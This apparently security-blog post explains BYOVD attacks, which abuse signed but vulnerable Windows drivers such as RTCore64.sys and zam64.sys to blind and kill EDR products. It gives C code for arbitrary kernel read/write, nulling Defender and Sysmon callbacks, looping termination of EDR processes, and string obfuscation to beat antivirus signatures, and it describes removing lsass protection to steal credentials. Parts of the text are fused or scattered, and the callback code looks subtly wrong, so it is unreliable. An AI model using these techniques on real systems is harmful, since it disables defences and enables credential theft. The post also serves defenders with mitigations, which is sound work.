The cybersecurity landscape is continually evolving, with adversaries employing increasingly sophisticated tactics to evade detection and compromise systems. One technique gaining serious prominence is Bring Your Own Vulnerable Driver (BYOVD) - leveraging legitimate signed but vulnerable drivers to bypass security controls, granting attackers unparalleled kernel-level access and control over compromised systems.
This post dissects the mechanics of BYOVD attacks, how threat actors exploit these techniques to blind, terminate, and manipulate EDR solutions. We walk through practical demonstrations of obtaining NT Authority\SYSTEM context, removing EDR callbacks, and discuss evasion tactics to counteract both static and dynamic detection. Both red and blue teams will find actionable knowledge to enhance their capabilities.
Blog Structure
- BYOVD Technique - the concept and threat model
- DSE and Blocklisted Drivers in Windows
- LOLDrivers - the community-driven vulnerable driver catalog
- APT Campaigns Using BYOVD - H1 2023 analysis
- Understanding EDR Components
- Arsenal Preparation & Practical Operations - NT-Authority context, EDR blinding, EDR termination, callback removal, Mimikatz driver loading
- Evasion Tactics - static and dynamic bypass techniques
BYOVD Technique
BYOVD (Bring Your Own Vulnerable Driver) is a sophisticated attack technique where malicious actors leverage legitimate but vulnerable drivers to compromise system integrity. By exploiting these vulnerabilities, attackers gain kernel-level access, bypassing traditional security measures. These drivers often integral to system operations provide a trusted entry point.
Once compromised, attackers can manipulate system processes, steal sensitive data, establish persistent backdoors, or deploy ransomware. The insidious nature of BYOVD lies in its ability to evade detection: these drivers are typically signed and trusted by the operating system.
Because these drivers carry valid digital signatures from legitimate vendors, they pass Driver Signature Enforcement (DSE) checks. The OS trusts them and so does your EDR. The attack surface has existed for decades, silently waiting in driver packages shipped with graphics cards, anti-cheat software, and hardware utilities.
Windows Driver Modes: User vs. Kernel
Windows drivers operate in two distinct modes. Understanding the boundary between them is essential to understanding why BYOVD is so powerful.
EPROCESS structures, memory, and security callbacks.Digital Signature Enforcement (DSE) & Blocklisted Drivers
Digital Signature Enforcement (DSE) was introduced in Windows Vista to mandate that only drivers bearing valid digital signatures from trusted Certificate Authorities can be loaded onto the system. When a driver is installed, the OS verifies its digital signature - an invalid or missing signature causes the installation to be blocked.
| Protection Mechanism | What It Does | BYOVD Bypass | Effectiveness |
|---|---|---|---|
| DSE (Driver Signature Enforcement) | Blocks unsigned drivers from loading | Uses legitimately signed (but vulnerable) drivers | Bypassed |
| Microsoft Blocklist | Prevents known-malicious drivers from loading | Uses drivers not yet on the blocklist, or renames them | Partially Effective |
| LOLDrivers Community List | Community catalog of known-vulnerable drivers | Attackers seek unlisted or newly discovered vulnerable drivers | Reactive |
| EDR Behavioral Detection | Monitors for suspicious driver activity | BYOVD blinds/terminates the EDR before detection triggers | Targeted |
| Hypervisor Protected Code Integrity (HVCI) | Prevents loading vulnerable kernel drivers via virtualization | Not universally enabled; not available on all hardware | Most Effective |
Living Off The Land Drivers (loldrivers.io) is a curated community-driven catalog of Windows drivers known to be exploited by adversaries to bypass security controls. Security teams should use this list to build detection rules and blocklist policies. However, attackers constantly seek drivers not yet catalogued making this a reactive, not preventive, control.
APT Campaigns Using BYOVD - H1 2023
BYOVD is no longer a niche technique - it has been adopted by a wide spectrum of threat actors including APT groups, ransomware operators, and criminal toolkits. The first half of 2023 alone saw six notable campaigns:
iqvw64.sys
CVE-2015-2291
PROCEXP152.sys
+ mhyprot2.sys
ene.sys
LIGHTSHOW tool
AuKill tool
PROCEXP.SYS
APT41 subgroup
zamguard64.sys
Terminator tool
zam64.sys
| Month | Threat Actor | Vulnerable Driver | Tool / Technique | Source |
|---|---|---|---|---|
| Jan 2023 | Scattered Spider (UNC3944) | iqvw64.sys |
CVE-2015-2291 (Intel Ethernet diagnostics) | CrowdStrike |
| Feb 2023 | Malvertising campaign | PROCEXP152.sys (renamed: Иисус.sys) |
Process Explorer driver abuse | SentinelOne |
| Feb 2023 | Unknown (Sliver toolkit) | mhyprot2.sys |
Genshin Impact anti-cheat driver | AhnLab |
| Mar 2023 | UNC2970 APT | ene.sys |
LIGHTSHOW tool (ENE Technology driver) | Mandiant |
| Apr 2023 | Ransomware groups | PROCEXP.SYS |
AuKill EDR killer tool | Sophos |
| May 2023 | Earth Longzhi / APT41 | zamguard64.sys (renamed: mmmm.sys) |
SPHijacker (Zemana Anti-Malware driver) | TrendMicro |
| Jun 2023 | BlackCat Ransomware | zamguard64.sys / zam64.sys |
spyboy Terminator tool | CrowdStrike |
Understanding EDR Components
To understand how BYOVD dismantles endpoint defenses, we must first understand what an EDR actually consists of - and which components are being targeted.
Arsenal Preparation: NT-Authority\SYSTEM Context
In the first stage, we rebuild and exploit CVE-2019-16098 in RTCore64.sys - the driver for Micro-Star MSI Afterburner 4.6.2.15658. This vulnerability allows any authenticated user to read and write arbitrary memory, I/O ports, and MSRs.
Rather than using hardcoded base addresses, the exploit dynamically calculates the base address of Ntoskrnl.exe and re-calculates all field offsets within the EPROCESS structure for the running Windows version. The EPROCESS structure is the kernel's opaque process object, and PsInitialSystemProcess - exposed by the kernel as an exported symbol - points to the SYSTEM process's EPROCESS.
NtQuerySystemInformation or EnumDeviceDrivers to get the runtime base address - avoids ASLR reliance on hardcoded offsets.EPROCESS structures, reading UniqueProcessId at each node to locate the current process and the SYSTEM process (PID 4).Token field from the SYSTEM process's EPROCESS and write it into the current process's Token field using the RTCore64.sys read/write primitive.// CVE-2019-16098: RTCore64.sys arbitrary R/W via IOCTL // Driver: MSI Afterburner 4.6.2.15658 - Valid signature, not detected by MDE static analysis typedef struct _RTCORE64_MSR_READ { DWORD Register; DWORD ValueHigh; DWORD ValueLow; } RTCORE64_MSR_READ, *PRTCORE64_MSR_READ; // Get device handle for RTCore64.sys HANDLE hDevice = CreateFileA( "\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); // Read arbitrary kernel memory at targetAddr ULONG64 ReadMemory(HANDLE hDevice, ULONG64 targetAddr) { RTCORE64_MEM_READ request = { .Address = targetAddr }; DeviceIoControl(hDevice, IOCTL_RTCORE64_READ, &request, sizeof(request), &request, sizeof(request), NULL, NULL); return request.Value; } // Write value to arbitrary kernel memory at targetAddr VOID WriteMemory(HANDLE hDevice, ULONG64 targetAddr, ULONG64 value) { RTCORE64_MEM_WRITE request = { .Address = targetAddr, .Value = value }; DeviceIoControl(hDevice, IOCTL_RTCORE64_WRITE, &request, sizeof(request), &request, sizeof(request), NULL, NULL); }
During testing, RTCore64.sys was not flagged by Microsoft Defender for Endpoint (MDE) in static analysis when downloaded. The driver carries a valid digital signature - MDE's static analysis relies heavily on signature checks, which RTCore64 passes.
Arsenal Stage 2: Remove EDR Callbacks
With kernel read/write access established via RTCore64.sys, the second stage targets EDR callback routines - the mechanism by which security solutions receive notifications about critical system events.
The target: PsSetCreateProcessNotifyRoutine - the kernel routine that notifies registered callbacks whenever a process is created or terminated. Microsoft Defender and Sysmon both register callbacks here. Patching these addresses to 0x0000000000000000 effectively blinds those monitors to new process creation.
\\\\.\\RTCore64 - this is our read/write primitive into kernel memory.
WdFilter.sys (Microsoft Defender) and Sysmondrv.sys.
PsSetCreateProcessNotifyRoutine events. Subsequent malicious processes can be spawned without triggering telemetry from this callback. Note: other callbacks (image load, thread creation, registry) remain active.
// Step 1: Get ntoskrnl base dynamically ULONG64 ntoskrnlBase = GetKernelModuleBase("ntoskrnl.exe"); // Step 2: Resolve PsSetCreateProcessNotifyRoutine address ULONG64 pPsNotifyRoutine = ntoskrnlBase + GetExportedSymbolRVA(ntoskrnlBase, "PsSetCreateProcessNotifyRoutine"); // Step 3: Walk the callback array (up to 64 entries) for (ULONG i = 0; i < 64; i++) { ULONG64 callbackEntry = ReadMemory(hDevice, pPsNotifyRoutine + i * 8); ULONG64 callbackPtr = callbackEntry & ~0xFULL; // strip low bits ULONG64 routineAddr = ReadMemory(hDevice, callbackPtr + 8); // Check if routine belongs to WdFilter.sys or Sysmondrv.sys if (IsInDriverRange(routineAddr, "WdFilter.sys") || IsInDriverRange(routineAddr, "Sysmondrv.sys")) { // Overwrite callback pointer with NULL → EDR blind WriteMemory(hDevice, pPsNotifyRoutine + i * 8, 0x0000000000000000); printf("[+] Patched callback[%d] → 0x0 (EDR blinded)\n", i); } }
Removing PsSetCreateProcessNotifyRoutine is just one vector. EDRs register numerous other callbacks: PsSetCreateThreadNotifyRoutine, PsSetLoadImageNotifyRoutine, CmRegisterCallback, and minifilter callbacks. A thorough BYOVD operator will target all of them. Defenders should monitor for unexpected changes in kernel callback arrays as an early warning indicator.
Arsenal Stage 3: Terminate EDR Processes
Even with callbacks removed, the EDR process is still running. EDR processes are Protected Process Light (PPL) Anti-Malware processes - they cannot be terminated even with the highest privilege level (NT-Authority\SYSTEM) from user space. Killing them requires kernel-level operations.
This stage reproduces the spyboy Terminator technique, which uses the zam64.sys driver (from Zemana Anti-Malware) to remove the PPL protection flag from the EDR process object, then terminate it with standard administrator-level calls.
zam64.sys contains a protection mechanism that only allows trusted Process IDs to send IOCTLs. Without registering your PID first, every IOCTL returns Access Denied. The bypass is trivially simple: send an IOCTL with your own PID to add it to the trusted list, which then grants permission to control all subsequent critical IOCTLs - including those that strip PPL protection.
// Step 1: Get handle to zam64.sys device (symbolic link: \\.\ZemanaAntiMalware) HANDLE hZam = CreateFileA( "\\\\.\\ZemanaAntiMalware", // ← detection target (see evasion section) GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); // Step 2: Register our own PID in the trusted list DWORD dwPID = GetCurrentProcessId(); DeviceIoControl(hZam, IOCTL_ZAM_REGISTER_TRUSTED_PID, &dwPID, sizeof(dwPID), NULL, 0, NULL, NULL); // Step 3: Loop over known EDR process names and terminate while (1) { // EDR service will try to restart - loop prevents recreation for (auto& edrProcess : EDR_PROCESS_LIST) { DWORD edrPID = GetProcessPIDByName(edrProcess); if (edrPID == 0) continue; // Send IOCTL to zam64.sys: strip PPL from edrPID's EPROCESS DeviceIoControl(hZam, IOCTL_ZAM_KILL_PROCESS, &edrPID, sizeof(edrPID), NULL, 0, NULL, NULL); } Sleep(1000); // 1 second loop - catches service-restarted processes }
Full BYOVD Attack Chain
Putting it all together - the three-stage arsenal combined with BYOVD as the delivery mechanism creates a complete EDR destruction chain:
Evasion Tactics Against Static Detection
During arsenal preparation, MDE detected the compiled Terminator binary because it is open-source and Microsoft Defender had updated its signatures. Analysis revealed three specific detection triggers:
| Detection Trigger | What MDE Detects | Evasion Method | Effectiveness |
|---|---|---|---|
| EDR Process Name Array | Static string array of known EDR process names in the binary | Rename variable, reorder sequence of process names | Bypassed |
| Symbolic Link String | Literal string \\.\ZemanaAntiMalware in binary |
Reverse string function - computed at runtime, not stored as literal | Bypassed |
| Debug Print Statements | Known printf format strings matching Terminator output patterns | Remove all print/log statements entirely | Bypassed |
Reverse String Obfuscation
The most interesting bypass targets the symbolic link string \\.\ZemanaAntiMalware. Instead of storing this as a literal string (which becomes a static YARA signature), the string is stored reversed and a runtime function un-reverses it before it's passed to CreateFileA:
// Stored in binary as reversed string - evades static signature matching const char* reversedLink = "erawlaM-itnAanameZ\\.\\."; // reversed \\.\ZemanaAntiMalware char* ReverseString(const char* input) { size_t len = strlen(input); char* output = (char*)malloc(len + 1); for (size_t i = 0; i < len; i++) output[i] = input[len - 1 - i]; output[len] = '\0'; return output; } // At runtime: "\\.\ZemanaAntiMalware" is constructed dynamically char* devicePath = ReverseString(reversedLink); HANDLE hZam = CreateFileA(devicePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); // Static analysis sees no recognisable string - only the reversed variant // YARA rules and string-based signatures fail to match
EDR solutions detect binaries through IAT inspection, known signatures, string matching, and YARA rules. Attackers bypass static detection by understanding these criteria - obfuscating strings, modifying IAT imports, altering byte patterns, and removing debug artefacts. Behavioral detection (watching for what the binary does, not what it contains) is significantly more robust against these techniques.
Mimikatz Driver - Loading mimidrv.sys to Remove PPL from LSASS
The final stage of the arsenal leverages mimidrv.sys - the kernel driver created by Benjamin Delpy as part of Mimikatz. This driver was specifically designed to interact with Windows security mechanisms, including removing the Protected Process Light (PPL) shield from lsass.exe - the process storing all active credentials.
Mimikatz itself is heavily signatured by every AV/EDR solution. However, this stage is not about bypassing Mimikatz - it's about bypassing the driver to remove lsass.exe's PPL protection, enabling credential extraction via a less-detected mechanism.
SignatureLevel and SectionSignatureLevel fields from lsass.exe's EPROCESS - the process is no longer protected.
PROCESS_VM_READ access by any process - enabling full credential extraction (NTLM hashes, Kerberos tickets, plaintext passwords).
Note & Responsible Use
This post aims to provide a comprehensive understanding of how attackers leverage vulnerable drivers to execute malicious operations. The techniques described serve as foundational examples to illustrate the broader concept of driver-based attacks and how EDR systems can be compromised. The methods for bypassing DSE and bypassing static detection of vulnerable drivers like zam64.sys are intentionally not detailed - that content could be used for illegitimate purposes. Red and blue teams should use this knowledge to improve offensive simulation fidelity and defensive detection coverage respectively.
Conclusion
BYOVD represents one of the most sophisticated convergences of trust exploitation and privilege escalation in the modern threat landscape. By weaponising the OS's own trust in digitally signed drivers, adversaries can dismantle every user-space and kernel-space defense an endpoint has - without ever touching an unsigned binary.
The knowledge presented here empowers red teams to develop more realistic attack simulations that test the true resilience of endpoint defenses - not just their ability to detect known malware, but their structural resistance to kernel-level attacks. Blue teams can leverage this to enhance detection capabilities: monitoring kernel callback arrays, alerting on zam64.sys and RTCore64.sys device handle creation, implementing HVCI (Hypervisor-Protected Code Integrity) to block vulnerable driver loading at the hypervisor level, and maintaining updated driver blocklists.
| Mitigation | What It Prevents | Coverage |
|---|---|---|
| HVCI (Hypervisor Protected Code Integrity) | Prevents loading of known-vulnerable drivers by enforcing kernel code integrity via the hypervisor | Most Comprehensive |
| Microsoft Vulnerable Driver Blocklist | Blocks loading of drivers on Microsoft's known-bad list (includes RTCore64.sys, zam64.sys) | Good - Requires Updates |
| Monitor Kernel Callback Arrays | Detects unexpected changes to PsSetCreateProcessNotifyRoutine and similar tables | Detection Only |
| Alert on Suspicious Device Handle Requests | Flags processes opening handles to known-vulnerable driver symbolic links | Detection Only |
| LOLDrivers Integration in Detection Rules | YARA/EDR rules targeting hash, name, and behavior of catalogued vulnerable drivers | Reactive Coverage |
The broader cybersecurity community benefits from a deeper understanding of these threats - enabling development of more robust security solutions and countermeasures. By fostering collaboration between red and blue teams and sharing knowledge, we collectively strengthen our defenses against these advanced kernel-level attacks.
References
- GitHub: NT-AUTHORITY-SYSTEM-CONTEXT-RTCORE - CVE-2019-16098 Exploit by Offensive-Panda
- GitHub: ZeroMemoryEx/Terminator - Reproducing Spyboy technique to terminate EDR/XDR/AVs
- GitHub: PPLKiller - Tool to bypass LSA Protection (Protected Process Light)
- LOLDrivers - Living Off The Land Drivers: Community-curated vulnerable driver catalog
- CrowdStrike: Scattered Spider BYOVD - iqvw64.sys CVE-2015-2291
- SentinelOne: MalVirt - PROCEXP152.sys in Malvertising Attacks
- Mandiant: UNC2970 LIGHTSHOW Tool - ene.sys Exploitation
- Sophos: AuKill - EDR Killer Abusing Process Explorer Driver
- TrendMicro: Earth Longzhi / APT41 - SPHijacker zamguard64.sys
- System Weakness: Bypass Mimikatz using Process Injection Technique
- NVD: CVE-2019-16098 - MSI Afterburner RTCore64.sys Arbitrary Memory R/W
